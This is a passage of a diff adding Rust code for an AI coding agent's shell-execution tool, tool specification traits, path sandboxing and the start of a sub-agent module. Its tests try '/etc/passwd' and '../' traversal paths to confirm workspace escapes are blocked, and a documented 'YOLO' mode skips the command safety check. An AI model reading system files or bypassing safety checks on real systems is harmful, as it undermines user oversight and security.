let sandbox_type = exec_env.sandbox_type; + let sandboxed = exec_env.is_sandboxed(); + + let program = exec_env.program(); + let args = exec_env.args(); + + let mut cmd = Command::new(program); + cmd.args(args) + .current_dir(working_dir) + .stdin(Stdio::inherit()) + .stdout(Stdio::inherit()) + .stderr(Stdio::inherit()); + + for (key, value) in &exec_env.env { + cmd.env(key, value); + } + + let mut child = cmd + .spawn() + .with_context(|| format!("Failed to execute: {original_command}"))?; + + if let Some(status) = child.wait_timeout(timeout)? { + Ok(ShellResult { + task_id: None, + status: if status.success() { + ShellStatus::Completed + } else { + ShellStatus::Failed + }, + exit_code: status.code(), + stdout: String::new(), + stderr: String::new(), + duration_ms: u64::try_from(started.elapsed().as_millis()).unwrap_or(u64::MAX), + sandboxed, + sandbox_type: if sandboxed { + Some(sandbox_type.to_string()) + } else { + None + }, + sandbox_denied: false, + }) + } else { + let _ = child.kill(); + let status = child.wait().ok(); + + Ok(ShellResult { + task_id: None, + status: ShellStatus::TimedOut, + exit_code: status.and_then(|s| s.code()), + stdout: String::new(), + stderr: String::new(), + duration_ms: u64::try_from(started.elapsed().as_millis()).unwrap_or(u64::MAX), + sandboxed, + sandbox_type: if sandboxed { + Some(sandbox_type.to_string()) + } else { + None + }, + sandbox_denied: false, + }) + } + } + + /// Spawn a background process (sandboxed). + fn spawn_background_sandboxed( + &mut self, + original_command: &str, + working_dir: &std::path::Path, + exec_env: &ExecEnv, + ) -> Result { + let task_id = format!("shell_{}", &Uuid::new_v4().to_string()[..8]); + let started = Instant::now(); + let sandbox_type = exec_env.sandbox_type; + let sandboxed = exec_env.is_sandboxed(); + + // Build the command from ExecEnv + let program = exec_env.program(); + let args = exec_env.args(); + + let mut cmd = Command::new(program); + cmd.args(args) + .current_dir(working_dir) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()); + + // Set environment variables from exec_env + for (key, value) in &exec_env.env { + cmd.env(key, value); + } + + let mut child = cmd + .spawn() + .with_context(|| format!("Failed to spawn background: {original_command}"))?; + + let stdout_handle = child.stdout.take(); + let stderr_handle = child.stderr.take(); + + // Spawn threads to collect output + let stdout_thread = stdout_handle.map(|handle| { + std::thread::spawn(move || { + let mut reader = handle; + let mut buf = Vec::new(); + let _ = reader.read_to_end(&mut buf); + buf + }) + }); + + let stderr_thread = stderr_handle.map(|handle| { + std::thread::spawn(move || { + let mut reader = handle; + let mut buf = Vec::new(); + let _ = reader.read_to_end(&mut buf); + buf + }) + }); + + let bg_shell = BackgroundShell { + id: task_id.clone(), + command: original_command.to_string(), + working_dir: working_dir.to_path_buf(), + status: ShellStatus::Running, + exit_code: None, + stdout: String::new(), + stderr: String::new(), + started_at: started, + sandbox_type, + child: Some(child), + stdout_thread, + stderr_thread, + }; + + self.processes.insert(task_id.clone(), bg_shell); + + Ok(ShellResult { + task_id: Some(task_id), + status: ShellStatus::Running, + exit_code: None, + stdout: String::new(), + stderr: String::new(), + duration_ms: 0, + sandboxed, + sandbox_type: if sandboxed { + Some(sandbox_type.to_string()) + } else { + None + }, + sandbox_denied: false, + }) + } + + /// Get output from a background process + pub fn get_output( + &mut self, + task_id: &str, + block: bool, + timeout_ms: u64, + ) -> Result { + let shell = self + .processes + .get_mut(task_id) + .ok_or_else(|| anyhow!("Task {task_id} not found"))?; + + if block && shell.status == ShellStatus::Running { + let timeout = Duration::from_millis(timeout_ms.clamp(1000, 600_000)); + let deadline = Instant::now() + timeout; + + while shell.status == ShellStatus::Running && Instant::now() < deadline { + if shell.poll() { + break; + } + std::thread::sleep(Duration::from_millis(100)); + } + + // If still running after timeout + if shell.status == ShellStatus::Running { + return Ok(shell.snapshot()); + } + } else { + shell.poll(); + } + + Ok(shell.snapshot()) + } + + /// Kill a running background process + pub fn kill(&mut self, task_id: &str) -> Result { + let shell = self + .processes + .get_mut(task_id) + .ok_or_else(|| anyhow!("Task {task_id} not found"))?; + + shell.kill()?; + Ok(shell.snapshot()) + } + + /// List all background processes + pub fn list(&mut self) -> Vec { + // Poll all processes first + for shell in self.processes.values_mut() { + shell.poll(); + } + + self.processes + .values() + .map(BackgroundShell::snapshot) + .collect() + } + + /// Clean up completed processes older than the given duration + pub fn cleanup(&mut self, max_age: Duration) { + let _now = Instant::now(); + self.processes.retain(|_, shell| { + if shell.status == ShellStatus::Running { + true + } else { + shell.started_at.elapsed() < max_age + } + }); + } +} + +/// Truncate output to `MAX_OUTPUT_SIZE` +fn truncate_output(output: &str) -> String { + if output.len() <= MAX_OUTPUT_SIZE { + output.to_string() + } else { + let truncated = &output[..MAX_OUTPUT_SIZE]; + format!( + "{}...\n\n[Output truncated at {} characters. {} characters omitted.]", + truncated, + MAX_OUTPUT_SIZE, + output.len() - MAX_OUTPUT_SIZE + ) + } +} + +/// Thread-safe wrapper for `ShellManager` +pub type SharedShellManager = Arc>; + +/// Create a new shared shell manager with default sandbox policy. +pub fn new_shared_shell_manager(workspace: PathBuf) -> SharedShellManager { + Arc::new(Mutex::new(ShellManager::new(workspace))) +} + +/// Create a new shared shell manager with a specific sandbox policy. +pub fn new_shared_shell_manager_with_sandbox( + workspace: PathBuf, + policy: ExecutionSandboxPolicy, +) -> SharedShellManager { + Arc::new(Mutex::new(ShellManager::with_sandbox(workspace, policy))) +} + +// === ToolSpec Implementations === + +use crate::command_safety::{SafetyLevel, analyze_command}; +use crate::tools::spec::{ + ApprovalRequirement, ToolCapability, ToolContext, ToolError, ToolResult, ToolSpec, + optional_bool, optional_u64, required_str, +}; +use async_trait::async_trait; +use serde_json::json; + +/// Tool for executing shell commands. +pub struct ExecShellTool; + +#[async_trait] +impl ToolSpec for ExecShellTool { + fn name(&self) -> &'static str { + "exec_shell" + } + + fn description(&self) -> &'static str { + "Execute a shell command in the workspace directory. Returns stdout, stderr, and exit code." + } + + fn input_schema(&self) -> serde_json::Value { + json!({ + "type": "object", + "properties": { + "command": { + "type": "string", + "description": "The shell command to execute" + }, + "timeout_ms": { + "type": "integer", + "description": "Timeout in milliseconds (default: 120000, max: 600000)" + }, + "background": { + "type": "boolean", + "description": "Run in background and return task_id (default: false)" + }, + "interactive": { + "type": "boolean", + "description": "Run interactively with terminal IO (default: false)" + } + }, + "required": ["command"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ + ToolCapability::ExecutesCode, + ToolCapability::Sandboxable, + ToolCapability::RequiresApproval, + ] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Required + } + + async fn execute( + &self, + input: serde_json::Value, + context: &ToolContext, + ) -> Result { + let command = required_str(&input, "command")?; + let timeout_ms = optional_u64(&input, "timeout_ms", 120_000).min(600_000); + let background = optional_bool(&input, "background", false); + let interactive = optional_bool(&input, "interactive", false); + + if interactive && background { + return Ok(ToolResult::error( + "Interactive commands cannot run in background mode.", + )); + } + + // Safety analysis (always run for metadata, but only block when not in YOLO mode) + let safety = analyze_command(command); + if !context.auto_approve { + match safety.level { + SafetyLevel::Dangerous => { + let reasons = safety.reasons.join("; "); + let suggestions = if safety.suggestions.is_empty() { + String::new() + } else { + format!("\nSuggestions: {}", safety.suggestions.join("; ")) + }; + return Ok(ToolResult { + content: format!( + "BLOCKED: This command was blocked for safety reasons.\n\nReasons: {reasons}{suggestions}" + ), + success: false, + metadata: Some(json!({ + "safety_level": "dangerous", + "blocked": true, + "reasons": safety.reasons, + "suggestions": safety.suggestions, + })), + }); + } + SafetyLevel::RequiresApproval | SafetyLevel::Safe | SafetyLevel::WorkspaceSafe => { + // Proceed normally + } + } + } + + // Create a shell manager for this execution + // If there's an elevated sandbox policy, use it; otherwise use default + let mut manager = if let Some(ref policy) = context.elevated_sandbox_policy { + ShellManager::with_sandbox(context.workspace.clone(), policy.clone()) + } else { + ShellManager::new(context.workspace.clone()) + }; + + // Pass the elevated policy as override if set + let policy_override = context.elevated_sandbox_policy.clone(); + + let result = if interactive { + manager.execute_interactive(command, None, timeout_ms) + } else { + manager.execute_with_policy(command, None, timeout_ms, background, policy_override) + }; + + match result { + Ok(result) => { + let task_id_str = result.task_id.clone().unwrap_or_default(); + let output = if interactive { + format!( + "Interactive command completed (exit code: {:?})", + result.exit_code + ) + } else if result.status == ShellStatus::Completed { + if result.stdout.is_empty() && result.stderr.is_empty() { + "(no output)".to_string() + } else if result.stderr.is_empty() { + result.stdout.clone() + } else { + format!("{}\n\nSTDERR:\n{}", result.stdout, result.stderr) + } + } else if result.status == ShellStatus::Running { + format!("Background task started: {task_id_str}") + } else { + format!( + "Command failed (exit code: {:?})\n\nSTDOUT:\n{}\n\nSTDERR:\n{}", + result.exit_code, result.stdout, result.stderr + ) + }; + + Ok(ToolResult { + content: output, + success: result.status == ShellStatus::Completed + || result.status == ShellStatus::Running, + metadata: Some(json!({ + "exit_code": result.exit_code, + "status": format!("{:?}", result.status), + "duration_ms": result.duration_ms, + "sandboxed": result.sandboxed, + "task_id": result.task_id, + "safety_level": format!("{:?}", safety.level), + "interactive": interactive, + })), + }) + } + Err(e) => Ok(ToolResult::error(format!("Shell execution failed: {e}"))), + } + } +} + +/// Tool for appending notes to a notes file. +pub struct NoteTool; + +#[async_trait] +impl ToolSpec for NoteTool { + fn name(&self) -> &'static str { + "note" + } + + fn description(&self) -> &'static str { + "Append a note to the agent notes file for persistent context across sessions." + } + + fn input_schema(&self) -> serde_json::Value { + json!({ + "type": "object", + "properties": { + "content": { + "type": "string", + "description": "The note content to append" + } + }, + "required": ["content"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::WritesFiles] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto // Notes are low-risk + } + + async fn execute( + &self, + input: serde_json::Value, + context: &ToolContext, + ) -> Result { + let note_content = required_str(&input, "content")?; + + // Ensure parent directory exists + if let Some(parent) = context.notes_path.parent() { + std::fs::create_dir_all(parent).map_err(|e| { + ToolError::execution_failed(format!("Failed to create notes directory: {e}")) + })?; + } + + // Append to notes file + let mut file = std::fs::OpenOptions::new() + .create(true) + .append(true) + .open(&context.notes_path) + .map_err(|e| ToolError::execution_failed(format!("Failed to open notes file: {e}")))?; + + writeln!(file, "\n---\n{note_content}") + .map_err(|e| ToolError::execution_failed(format!("Failed to write note: {e}")))?; + + Ok(ToolResult::success(format!( + "Note appended to {}", + context.notes_path.display() + ))) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::tempdir; + + fn echo_command(message: &str) -> String { + format!("echo {message}") + } + + fn sleep_command(seconds: u64) -> String { + #[cfg(windows)] + { + let ping_count = seconds.saturating_add(1); + let ps_path = r#"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe"#; + format!( + "\"{ps_path}\" -NoProfile -Command \"Start-Sleep -Seconds {seconds}\" || ping 127.0.0.1 -n {ping_count} > NUL" + ) + } + #[cfg(not(windows))] + { + format!("sleep {seconds}") + } + } + + fn sleep_then_echo_command(seconds: u64, message: &str) -> String { + #[cfg(windows)] + { + let ping_count = seconds.saturating_add(1); + let ps_path = r#"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe"#; + format!( + "\"{ps_path}\" -NoProfile -Command \"Start-Sleep -Seconds {seconds}; Write-Output {message}\" || (ping 127.0.0.1 -n {ping_count} > NUL && echo {message})" + ) + } + #[cfg(not(windows))] + { + format!("sleep {seconds} && echo {message}") + } + } + + #[test] + fn test_sync_execution() { + let tmp = tempdir().expect("tempdir"); + let mut manager = ShellManager::new(tmp.path().to_path_buf()); + + let result = manager + .execute(&echo_command("hello"), None, 5000, false) + .expect("execute"); + + assert_eq!(result.status, ShellStatus::Completed); + assert!(result.stdout.contains("hello")); + assert!(result.task_id.is_none()); + } + + #[test] + fn test_background_execution() { + let tmp = tempdir().expect("tempdir"); + let mut manager = ShellManager::new(tmp.path().to_path_buf()); + + let result = manager + .execute(&sleep_then_echo_command(1, "done"), None, 5000, true) + .expect("execute"); + + assert_eq!(result.status, ShellStatus::Running); + assert!(result.task_id.is_some()); + + let task_id = result + .task_id + .expect("background execution should return task_id"); + + // Wait for completion + let final_result = manager + .get_output(&task_id, true, 5000) + .expect("get_output"); + + assert_eq!(final_result.status, ShellStatus::Completed); + assert!(final_result.stdout.contains("done")); + } + + #[test] + fn test_timeout() { + let tmp = tempdir().expect("tempdir"); + let mut manager = ShellManager::new(tmp.path().to_path_buf()); + + let result = manager + .execute(&sleep_command(10), None, 1000, false) + .expect("execute"); + + assert_eq!(result.status, ShellStatus::TimedOut); + } + + #[test] + fn test_kill() { + let tmp = tempdir().expect("tempdir"); + let mut manager = ShellManager::new(tmp.path().to_path_buf()); + + let result = manager + .execute(&sleep_command(60), None, 5000, true) + .expect("execute"); + + let task_id = result + .task_id + .expect("background execution should return task_id"); + + // Kill it + let killed = manager.kill(&task_id).expect("kill"); + assert_eq!(killed.status, ShellStatus::Killed); + } + + #[test] + fn test_output_truncation() { + let long_output = "x".repeat(50_000); + let truncated = truncate_output(&long_output); + + assert!(truncated.len() < long_output.len()); + assert!(truncated.contains("truncated")); + } +} diff --git a/src/tools/spec.rs b/src/tools/spec.rs new file mode 100644 index 00000000..607838af --- /dev/null +++ b/src/tools/spec.rs @@ -0,0 +1,678 @@ +//! Tool specification traits for the deepseek-cli agent system. +//! +//! This module defines the core abstractions for tools: +//! - `ToolSpec`: The main trait that all tools must implement +//! - `ToolContext`: Execution context passed to tools +//! - `ToolResult`: Unified result type for tool execution +//! - `ToolCapability`: Capabilities and requirements of tools + +use std::path::{Component, Path, PathBuf}; + +use async_trait::async_trait; +use serde::{Deserialize, Serialize}; +use serde_json::Value; +use thiserror::Error; + +/// Capabilities that a tool may have or require. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum ToolCapability { + /// Tool only reads data, never modifies state + ReadOnly, + /// Tool writes to the filesystem + WritesFiles, + /// Tool executes arbitrary shell commands + ExecutesCode, + /// Tool makes network requests + Network, + /// Tool can be run in a sandbox + Sandboxable, + /// Tool requires user approval before execution + RequiresApproval, +} + +/// Approval requirement for a tool. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub enum ApprovalRequirement { + /// Never needs approval - safe read-only operations + #[default] + Auto, + /// Suggest approval but allow user to skip + Suggest, + /// Always require explicit user approval + Required, +} + +/// Errors that can occur during tool execution. +#[derive(Debug, Clone, Error)] +pub enum ToolError { + #[error("Failed to validate input: {message}")] + InvalidInput { message: String }, + + #[error("Failed to validate input: missing required field '{field}'")] + MissingField { field: String }, + + #[error("Failed to resolve path '{path}': path escapes workspace")] + PathEscape { path: PathBuf }, + + #[error("Failed to execute tool: {message}")] + ExecutionFailed { message: String }, + + #[error("Failed to execute tool: operation timed out after {seconds}s")] + Timeout { seconds: u64 }, + + #[error("Failed to locate tool: {message}")] + NotAvailable { message: String }, + + #[error("Failed to authorize tool execution: {message}")] + PermissionDenied { message: String }, +} + +impl ToolError { + #[must_use] + pub fn invalid_input(msg: impl Into) -> Self { + Self::InvalidInput { + message: msg.into(), + } + } + + #[must_use] + pub fn missing_field(field: impl Into) -> Self { + Self::MissingField { + field: field.into(), + } + } + + #[must_use] + pub fn execution_failed(msg: impl Into) -> Self { + Self::ExecutionFailed { + message: msg.into(), + } + } + + #[must_use] + pub fn path_escape(path: impl Into) -> Self { + Self::PathEscape { path: path.into() } + } + + #[must_use] + pub fn not_available(msg: impl Into) -> Self { + Self::NotAvailable { + message: msg.into(), + } + } + + #[must_use] + pub fn permission_denied(msg: impl Into) -> Self { + Self::PermissionDenied { + message: msg.into(), + } + } +} + +/// Result of a tool execution. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ToolResult { + /// The output content (may be JSON or plain text) + pub content: String, + /// Whether the execution was successful + pub success: bool, + /// Optional structured metadata + #[serde(skip_serializing_if = "Option::is_none")] + pub metadata: Option, +} + +impl ToolResult { + /// Create a successful result with content. + #[must_use] + pub fn success(content: impl Into) -> Self { + Self { + content: content.into(), + success: true, + metadata: None, + } + } + + /// Create an error result with message. + #[must_use] + pub fn error(message: impl Into) -> Self { + Self { + content: message.into(), + success: false, + metadata: None, + } + } + + /// Create a successful result from JSON. + pub fn json(value: &T) -> Result { + Ok(Self { + content: serde_json::to_string_pretty(value)?, + success: true, + metadata: None, + }) + } + + /// Add metadata to the result. + #[must_use] + pub fn with_metadata(mut self, metadata: Value) -> Self { + self.metadata = Some(metadata); + self + } +} + +/// Sandbox policy for command execution. +#[derive(Debug, Clone, Default)] +pub enum SandboxPolicy { + /// No sandboxing (dangerous but sometimes needed) + #[default] + None, + /// Standard sandbox with workspace write access + Standard { + writable_roots: Vec, + allow_network: bool, + }, +} + +/// Context passed to tools during execution. +#[derive(Clone)] +pub struct ToolContext { + /// The workspace root directory + pub workspace: PathBuf, + /// Whether to allow paths outside workspace + pub trust_mode: bool, + /// Current sandbox policy + pub sandbox_policy: SandboxPolicy, + /// Path for notes file + pub notes_path: PathBuf, + /// MCP configuration path + pub mcp_config_path: PathBuf, + /// Elevated sandbox policy override (used when retrying after sandbox denial). + /// This overrides the default sandbox behavior for shell commands. + pub elevated_sandbox_policy: Option, + /// Whether tools should auto-approve without safety checks (YOLO mode). + /// When true, command safety analysis is skipped for shell execution. + pub auto_approve: bool, +} + +impl ToolContext { + /// Create a new `ToolContext` with default settings. + #[must_use] + pub fn new(workspace: impl Into) -> Self { + let workspace = workspace.into(); + let notes_path = workspace.join(".deepseek").join("notes.md"); + let mcp_config_path = workspace.join(".deepseek").join("mcp.json"); + Self { + workspace, + trust_mode: false, + sandbox_policy: SandboxPolicy::None, + notes_path, + mcp_config_path, + elevated_sandbox_policy: None, + auto_approve: false, + } + } + + /// Create a `ToolContext` with all settings specified. + pub fn with_options( + workspace: impl Into, + trust_mode: bool, + notes_path: impl Into, + mcp_config_path: impl Into, + ) -> Self { + Self { + workspace: workspace.into(), + trust_mode, + sandbox_policy: SandboxPolicy::None, + notes_path: notes_path.into(), + mcp_config_path: mcp_config_path.into(), + elevated_sandbox_policy: None, + auto_approve: false, + } + } + + /// Create a `ToolContext` with auto-approve mode (YOLO). + pub fn with_auto_approve( + workspace: impl Into, + trust_mode: bool, + notes_path: impl Into, + mcp_config_path: impl Into, + auto_approve: bool, + ) -> Self { + Self { + workspace: workspace.into(), + trust_mode, + sandbox_policy: SandboxPolicy::None, + notes_path: notes_path.into(), + mcp_config_path: mcp_config_path.into(), + elevated_sandbox_policy: None, + auto_approve, + } + } + + /// Resolve a path relative to workspace, validating it doesn't escape. + /// + /// This handles both existing files (using canonicalize) and non-existent files + /// (for write operations) by canonicalizing the parent directory and appending + /// the filename. + /// Resolve a path relative to workspace, validating it doesn't escape. + /// + /// # Examples + /// + /// ```ignore + /// # use crate::tools::spec::ToolContext; + /// let ctx = ToolContext::new("."); + /// let path = ctx.resolve_path("README.md")?; + /// # Ok::<(), crate::tools::spec::ToolError>(()) + /// ``` + pub fn resolve_path(&self, raw: &str) -> Result { + let candidate = if std::path::Path::new(raw).is_absolute() { + PathBuf::from(raw) + } else { + self.workspace.join(raw) + }; + + // In trust mode, allow any path without validation + if self.trust_mode { + // Still try to canonicalize for consistency, but don't require it + return Ok(candidate.canonicalize().unwrap_or(candidate)); + } + + // Try to canonicalize the workspace + let workspace_canonical = self + .workspace + .canonicalize() + .unwrap_or_else(|_| self.workspace.clone()); + + // For the initial check, also try to canonicalize the candidate if possible + // This handles symlinks like /var -> /private/var on macOS + let candidate_canonical = candidate + .canonicalize() + .unwrap_or_else(|_| normalize_path(&candidate)); + let workspace_normalized = normalize_path(&workspace_canonical); + + // Check if the candidate is under the workspace (comparing canonical paths) + if !candidate_canonical.starts_with(&workspace_normalized) { + // Also try with non-canonical workspace for cases where workspace itself + // hasn't been canonicalized yet + let workspace_plain = normalize_path(&self.workspace); + let candidate_normalized = normalize_path(&candidate); + if !candidate_normalized.starts_with(&workspace_plain) { + return Err(ToolError::PathEscape { + path: candidate_canonical, + }); + } + } + + // For existing paths, use canonicalize directly + if candidate.exists() { + let canonical = candidate.canonicalize().map_err(|e| { + ToolError::execution_failed(format!( + "Failed to canonicalize {}: {}", + candidate.display(), + e + )) + })?; + + if !canonical.starts_with(&workspace_canonical) { + return Err(ToolError::PathEscape { path: canonical }); + } + + return Ok(canonical); + } + + // For non-existent paths (e.g., files to be created), validate via parent + // Find the deepest existing ancestor and canonicalize it + let mut existing_ancestor = candidate.clone(); + let mut suffix_parts: Vec = Vec::new(); + + while !existing_ancestor.exists() { + if let Some(file_name) = existing_ancestor.file_name() { + suffix_parts.push(file_name.to_owned()); + } + match existing_ancestor.parent() { + Some(parent) if !parent.as_os_str().is_empty() => { + existing_ancestor = parent.to_path_buf(); + } + _ => { + // No existing parent found; fall back to simple check + break; + } + } + } + + let canonical_ancestor = if existing_ancestor.exists() { + existing_ancestor + .canonicalize() + .unwrap_or(existing_ancestor) + } else { + existing_ancestor + }; + + // Rebuild the full path from canonicalized ancestor + let mut canonical = canonical_ancestor; + for part in suffix_parts.into_iter().rev() { + canonical.push(part); + } + let canonical = normalize_path(&canonical); + + // Validate it's under workspace + if !canonical.starts_with(&workspace_canonical) + && !canonical.starts_with(&workspace_normalized) + { + return Err(ToolError::PathEscape { path: canonical }); + } + + Ok(canonical) + } + + /// Set the trust mode. + pub fn with_trust_mode(mut self, trust: bool) -> Self { + self.trust_mode = trust; + self + } + + /// Set the sandbox policy. + pub fn with_sandbox_policy(mut self, policy: SandboxPolicy) -> Self { + self.sandbox_policy = policy; + self + } + + /// Set the elevated sandbox policy override. + /// + /// This is used when retrying a tool after a sandbox denial, to run + /// with elevated permissions. + pub fn with_elevated_sandbox_policy(mut self, policy: crate::sandbox::SandboxPolicy) -> Self { + self.elevated_sandbox_policy = Some(policy); + self + } +} + +fn normalize_path(path: &Path) -> PathBuf { + let mut prefix: Option = None; + let mut is_root = false; + let mut stack: Vec = Vec::new(); + + for component in path.components() { + match component { + Component::Prefix(prefix_component) => { + prefix = Some(prefix_component.as_os_str().to_owned()); + } + Component::RootDir => { + is_root = true; + } + Component::CurDir => {} + Component::ParentDir => { + let parent = Component::ParentDir.as_os_str(); + if let Some(last) = stack.pop() { + if last == parent { + stack.push(last); + stack.push(parent.to_owned()); + } + } else if !is_root { + stack.push(parent.to_owned()); + } + } + Component::Normal(part) => { + stack.push(part.to_owned()); + } + } + } + + let mut normalized = PathBuf::new(); + if let Some(prefix) = prefix { + normalized.push(prefix); + } + if is_root { + normalized.push(Path::new(std::path::MAIN_SEPARATOR_STR)); + } + for part in stack { + normalized.push(part); + } + normalized +} + +/// The core trait that all tools must implement. +#[async_trait] +pub trait ToolSpec: Send + Sync { + /// Returns the unique name of this tool (used in API calls). + fn name(&self) -> &str; + + /// Returns a human-readable description of what this tool does. + fn description(&self) -> &str; + + /// Returns the JSON Schema for the tool's input parameters. + fn input_schema(&self) -> Value; + + /// Returns the capabilities this tool has. + fn capabilities(&self) -> Vec; + + /// Returns the approval requirement for this tool. + fn approval_requirement(&self) -> ApprovalRequirement { + let caps = self.capabilities(); + if caps.contains(&ToolCapability::ExecutesCode) { + ApprovalRequirement::Required + } else if caps.contains(&ToolCapability::WritesFiles) { + ApprovalRequirement::Suggest + } else { + ApprovalRequirement::Auto + } + } + + /// Returns whether this tool is sandboxable. + fn is_sandboxable(&self) -> bool { + self.capabilities().contains(&ToolCapability::Sandboxable) + } + + /// Returns whether this tool is read-only. + fn is_read_only(&self) -> bool { + let caps = self.capabilities(); + caps.contains(&ToolCapability::ReadOnly) + && !caps.contains(&ToolCapability::WritesFiles) + && !caps.contains(&ToolCapability::ExecutesCode) + } + + /// Returns whether this tool can be executed in parallel with others. + fn supports_parallel(&self) -> bool { + false + } + + /// Execute the tool with the given input and context. + async fn execute(&self, input: Value, context: &ToolContext) -> Result; +} + +// === Helper functions for extracting values from JSON input === + +/// Helper to extract required string field from JSON input. +pub fn required_str<'a>(input: &'a Value, field: &str) -> Result<&'a str, ToolError> { + input + .get(field) + .and_then(|v| v.as_str()) + .ok_or_else(|| ToolError::missing_field(field)) +} + +/// Helper to extract optional string field from JSON input. +pub fn optional_str<'a>(input: &'a Value, field: &str) -> Option<&'a str> { + input.get(field).and_then(|v| v.as_str()) +} + +/// Helper to extract required u64 field from JSON input. +pub fn required_u64(input: &Value, field: &str) -> Result { + input + .get(field) + .and_then(serde_json::Value::as_u64) + .ok_or_else(|| ToolError::missing_field(field)) +} + +/// Helper to extract optional u64 field with default. +pub fn optional_u64(input: &Value, field: &str, default: u64) -> u64 { + input + .get(field) + .and_then(serde_json::Value::as_u64) + .unwrap_or(default) +} + +/// Helper to extract optional bool field with default. +pub fn optional_bool(input: &Value, field: &str, default: bool) -> bool { + input + .get(field) + .and_then(serde_json::Value::as_bool) + .unwrap_or(default) +} + +/// Helper to extract required i64 field from JSON input. +pub fn required_i64(input: &Value, field: &str) -> Result { + input + .get(field) + .and_then(serde_json::Value::as_i64) + .ok_or_else(|| ToolError::missing_field(field)) +} + +/// Helper to extract optional i64 field with default. +pub fn optional_i64(input: &Value, field: &str, default: i64) -> i64 { + input + .get(field) + .and_then(serde_json::Value::as_i64) + .unwrap_or(default) +} + +// === Unit Tests === + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + use tempfile::tempdir; + + #[test] + fn test_tool_result_success() { + let result = ToolResult::success("hello"); + assert!(result.success); + assert_eq!(result.content, "hello"); + assert!(result.metadata.is_none()); + } + + #[test] + fn test_tool_result_error() { + let result = ToolResult::error("something failed"); + assert!(!result.success); + assert_eq!(result.content, "something failed"); + } + + #[test] + fn test_tool_result_json() { + let data = json!({"key": "value"}); + let result = ToolResult::json(&data).unwrap(); + assert!(result.success); + assert!(result.content.contains("key")); + } + + #[test] + fn test_tool_result_with_metadata() { + let result = ToolResult::success("content").with_metadata(json!({"extra": true})); + assert!(result.metadata.is_some()); + } + + #[test] + fn test_tool_context_resolve_path_relative() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + // Create a test file + let test_file = tmp.path().join("test.txt"); + std::fs::write(&test_file, "test").expect("write"); + + let resolved = ctx.resolve_path("test.txt").expect("resolve"); + assert!(resolved.ends_with("test.txt")); + } + + #[test] + fn test_tool_context_resolve_path_escape() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + // Try to escape workspace + let result = ctx.resolve_path("/etc/passwd"); + assert!(result.is_err()); + } + + #[test] + fn test_tool_context_resolve_path_parent_traversal() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + let result = ctx.resolve_path("../escape.txt"); + assert!(result.is_err()); + } + + #[test] + fn test_tool_context_resolve_path_normalizes_parent() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + let result = ctx.resolve_path("new/../safe.txt"); + assert!(result.is_ok()); + } + + #[test] + fn test_tool_context_trust_mode() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()).with_trust_mode(true); + + // In trust mode, absolute paths should work + let result = ctx.resolve_path("/tmp"); + assert!(result.is_ok()); + } + + #[test] + fn test_required_str() { + let input = json!({"name": "test", "count": 42}); + assert_eq!(required_str(&input, "name").unwrap(), "test"); + assert!(required_str(&input, "missing").is_err()); + assert!(required_str(&input, "count").is_err()); // not a string + } + + #[test] + fn test_optional_str() { + let input = json!({"name": "test"}); + assert_eq!(optional_str(&input, "name"), Some("test")); + assert_eq!(optional_str(&input, "missing"), None); + } + + #[test] + fn test_required_u64() { + let input = json!({"count": 42}); + assert_eq!(required_u64(&input, "count").unwrap(), 42); + assert!(required_u64(&input, "missing").is_err()); + } + + #[test] + fn test_optional_u64() { + let input = json!({"count": 42}); + assert_eq!(optional_u64(&input, "count", 0), 42); + assert_eq!(optional_u64(&input, "missing", 100), 100); + } + + #[test] + fn test_optional_bool() { + let input = json!({"flag": true}); + assert!(optional_bool(&input, "flag", false)); + assert!(!optional_bool(&input, "missing", false)); + } + + #[test] + fn test_tool_error_display() { + let err = ToolError::missing_field("path"); + assert_eq!( + format!("{err}"), + "Failed to validate input: missing required field 'path'" + ); + + let err = ToolError::execution_failed("boom"); + assert_eq!(format!("{err}"), "Failed to execute tool: boom"); + } + + #[test] + fn test_approval_requirement_default() { + let level = ApprovalRequirement::default(); + assert_eq!(level, ApprovalRequirement::Auto); + } +} diff --git a/src/tools/subagent.rs b/src/tools/subagent.rs new file mode 100644 index 00000000..59875994 --- /dev/null +++ b/src/tools/subagent.rs @@ -0,0 +1,1036 @@ +//! Sub-agent spawning system. +//! +//! Provides tools to spawn background sub-agents, query their status, +//! and retrieve results. Sub-agents run with a filtered toolset and +//! inherit the workspace configuration from the main session. + +use std::collections::HashMap; +use std::path::PathBuf; +use std::sync::{Arc, Mutex}; +use std::time::{Duration, Instant}; + +use anyhow::{Result, anyhow}; +use async_trait::async_trait; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use tokio::{sync::mpsc, task::JoinHandle}; +use uuid::Uuid; + +use crate::client::DeepSeekClient; +use crate::core::events::Event; +use crate::llm_client::LlmClient; +use crate::models::{ContentBlock, Message, MessageRequest, SystemPrompt, Tool}; +use crate::tools::plan::{PlanState, SharedPlanState}; +use crate::tools::registry::{ToolRegistry, ToolRegistryBuilder}; +use crate::tools::spec::{ + ApprovalRequirement, ToolCapability, ToolContext, ToolError, ToolResult, ToolSpec, + optional_bool, optional_u64, required_str, +}; +use crate::tools::todo::{SharedTodoList, TodoList}; + +// === Constants === + +const DEFAULT_MAX_STEPS: u32 = 20; +const TOOL_TIMEOUT: Duration = Duration::from_secs(30); +const RESULT_POLL_INTERVAL: Duration = Duration::from_millis(250); + +// === Types === + +/// Sub-agent execution types with specialized behavior and tool access. +#[derive(Debug, Clone, 